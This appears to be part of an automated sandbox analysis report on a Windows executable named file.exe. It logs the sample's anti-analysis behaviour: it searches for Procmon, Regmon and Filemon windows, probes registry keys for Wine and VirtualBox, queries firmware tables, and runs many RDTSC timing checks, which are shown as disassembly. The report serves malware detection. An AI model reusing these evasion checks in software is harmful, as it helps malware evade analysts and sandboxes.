Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10AD4 second address: D10AED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F9AEC795B4Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10AED second address: D10AF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E746CF second address: E746DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007F9AEC795B46h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8E8E2 second address: E8E906 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9AED3FF398h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8E906 second address: E8E90A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8ECD0 second address: E8ECEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AED3FF393h 0x00000009 pop edx 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8ECEB second address: E8ECF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8ECF1 second address: E8ECFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8ECFA second address: E8ECFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8EFE1 second address: E8EFF4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F9AED3FF38Ah 0x0000000a pop esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8EFF4 second address: E8F000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9AEC795B46h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F19C second address: E8F1A5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E92ED5 second address: E92EE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9AEC795B4Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E92EE7 second address: E92F2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F9AED3FF388h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 sub dword ptr [ebp+122D1C7Fh], ecx 0x00000029 push 00000000h 0x0000002b xor dword ptr [ebp+122D1B58h], edi 0x00000031 mov di, 6ECBh 0x00000035 push A64FB15Fh 0x0000003a push edi 0x0000003b push eax 0x0000003c push edx 0x0000003d jns 00007F9AED3FF386h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E92F2F second address: E92FA5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 add dword ptr [esp], 59B04F21h 0x0000000e mov ecx, 04A2523Bh 0x00000013 push 00000003h 0x00000015 call 00007F9AEC795B57h 0x0000001a mov dword ptr [ebp+122D19A2h], esi 0x00000020 pop edx 0x00000021 jnp 00007F9AEC795B4Ch 0x00000027 push 00000000h 0x00000029 mov dword ptr [ebp+12450B31h], esi 0x0000002f push 00000003h 0x00000031 pushad 0x00000032 call 00007F9AEC795B50h 0x00000037 mov ch, F6h 0x00000039 pop ebx 0x0000003a mov dword ptr [ebp+122D19A2h], ecx 0x00000040 popad 0x00000041 call 00007F9AEC795B49h 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 jnl 00007F9AEC795B46h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E92FA5 second address: E92FE1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9AED3FF386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jmp 00007F9AED3FF396h 0x00000010 pop edx 0x00000011 popad 0x00000012 push eax 0x00000013 push esi 0x00000014 push ecx 0x00000015 push esi 0x00000016 pop esi 0x00000017 pop ecx 0x00000018 pop esi 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push eax 0x0000001e push edx 0x0000001f jnp 00007F9AED3FF38Ch 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E92FE1 second address: E92FEB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9AEC795B4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E92FEB second address: E93024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jnl 00007F9AED3FF38Ch 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jo 00007F9AED3FF39Fh 0x0000001a jmp 00007F9AED3FF399h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E93024 second address: E93083 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9AEC795B48h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F9AEC795B48h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 movzx edx, ax 0x0000002a movsx ecx, ax 0x0000002d lea ebx, dword ptr [ebp+12455BF8h] 0x00000033 add dword ptr [ebp+122D2DBDh], esi 0x00000039 push eax 0x0000003a pushad 0x0000003b push ebx 0x0000003c jo 00007F9AEC795B46h 0x00000042 pop ebx 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F9AEC795B51h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E93134 second address: E93138 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E93138 second address: E93149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F9AEC795B46h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E93149 second address: E93157 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9AED3FF386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E93157 second address: E9315B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9315B second address: E93199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F9AED3FF388h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 jc 00007F9AED3FF38Ch 0x00000028 and ecx, 1AEE8942h 0x0000002e push 00000000h 0x00000030 clc 0x00000031 push 2C537915h 0x00000036 pushad 0x00000037 push edi 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E93199 second address: E93216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jns 00007F9AEC795B48h 0x0000000b popad 0x0000000c xor dword ptr [esp], 2C537995h 0x00000013 mov dh, 98h 0x00000015 push 00000003h 0x00000017 push edi 0x00000018 jmp 00007F9AEC795B50h 0x0000001d pop esi 0x0000001e pushad 0x0000001f mov ebx, dword ptr [ebp+122D1846h] 0x00000025 mov edx, dword ptr [ebp+122D29DEh] 0x0000002b popad 0x0000002c push 00000000h 0x0000002e mov dx, cx 0x00000031 push 00000003h 0x00000033 push 00000000h 0x00000035 push eax 0x00000036 call 00007F9AEC795B48h 0x0000003b pop eax 0x0000003c mov dword ptr [esp+04h], eax 0x00000040 add dword ptr [esp+04h], 00000017h 0x00000048 inc eax 0x00000049 push eax 0x0000004a ret 0x0000004b pop eax 0x0000004c ret 0x0000004d mov dx, si 0x00000050 jng 00007F9AEC795B4Ch 0x00000056 sub dword ptr [ebp+122D1B58h], edi 0x0000005c call 00007F9AEC795B49h 0x00000061 push edi 0x00000062 pushad 0x00000063 pushad 0x00000064 popad 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E93216 second address: E93261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 jl 00007F9AED3FF38Ch 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push ebx 0x00000018 jmp 00007F9AED3FF392h 0x0000001d pop ebx 0x0000001e mov eax, dword ptr [eax] 0x00000020 jmp 00007F9AED3FF395h 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c push esi 0x0000002d pop esi 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E93261 second address: E932B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B52h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jnl 00007F9AEC795B46h 0x00000010 pop edi 0x00000011 popad 0x00000012 pop eax 0x00000013 movzx edi, si 0x00000016 lea ebx, dword ptr [ebp+12455C03h] 0x0000001c add dx, 364Ch 0x00000021 mov dx, 33BAh 0x00000025 xchg eax, ebx 0x00000026 pushad 0x00000027 jmp 00007F9AEC795B4Ah 0x0000002c jmp 00007F9AEC795B4Bh 0x00000031 popad 0x00000032 push eax 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB3855 second address: EB3859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB3859 second address: EB3883 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9AEC795B46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007F9AEC795B4Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9AEC795B50h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB196A second address: EB196E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1AC1 second address: EB1AFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F9AEC795B46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F9AEC795B59h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9AEC795B57h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1C8C second address: EB1CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AED3FF390h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1CA0 second address: EB1CA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1CA4 second address: EB1CAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB20D7 second address: EB20F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007F9AEC795B56h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB225A second address: EB2265 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F9AED3FF386h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB23AD second address: EB23CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9AEC795B56h 0x00000008 js 00007F9AEC795B46h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB23CE second address: EB23D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB253E second address: EB2546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2546 second address: EB254C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB254C second address: EB2555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2555 second address: EB2559 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2559 second address: EB2575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AEC795B4Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c jne 00007F9AEC795B50h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2F67 second address: EB2F7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9AED3FF38Ch 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2F7C second address: EB2FA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AEC795B52h 0x00000009 pop esi 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9AEC795B52h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2FA9 second address: EB2FB9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9AED3FF386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2FB9 second address: EB2FBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2FBD second address: EB2FD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF38Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jnc 00007F9AED3FF386h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2FD9 second address: EB2FF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AEC795B58h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB33EE second address: EB33F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB36F1 second address: EB370E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9AEC795B4Eh 0x0000000a jne 00007F9AEC795B5Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB370E second address: EB3712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB3712 second address: EB3716 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB6552 second address: EB655D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB655D second address: EB6574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AEC795B4Fh 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B3D2 second address: E7B3DC instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9AED3FF386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B3DC second address: E7B3EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 jl 00007F9AEC795B4Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8863 second address: EB886D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9AED3FF38Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBF122 second address: EBF13D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AEC795B51h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBF796 second address: EBF7BB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007F9AED3FF386h 0x0000000d jmp 00007F9AED3FF396h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBF7BB second address: EBF7C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7E974 second address: E7E978 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC32B2 second address: EC32B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC3814 second address: EC3818 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC3818 second address: EC381E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC3D5C second address: EC3D85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF392h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebx 0x0000000b xor esi, 1A1BF30Bh 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 ja 00007F9AED3FF388h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC3D85 second address: EC3DB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9AEC795B54h 0x00000008 jnl 00007F9AEC795B46h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jnl 00007F9AEC795B48h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC3DB0 second address: EC3DBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F9AED3FF386h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC40DD second address: EC40FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9AEC795B59h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC40FB second address: EC4108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4108 second address: EC410D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC433A second address: EC4340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC5F2C second address: EC5F40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F9AEC795B4Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC691D second address: EC692E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jp 00007F9AED3FF386h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6782 second address: EC6786 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC692E second address: EC6937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
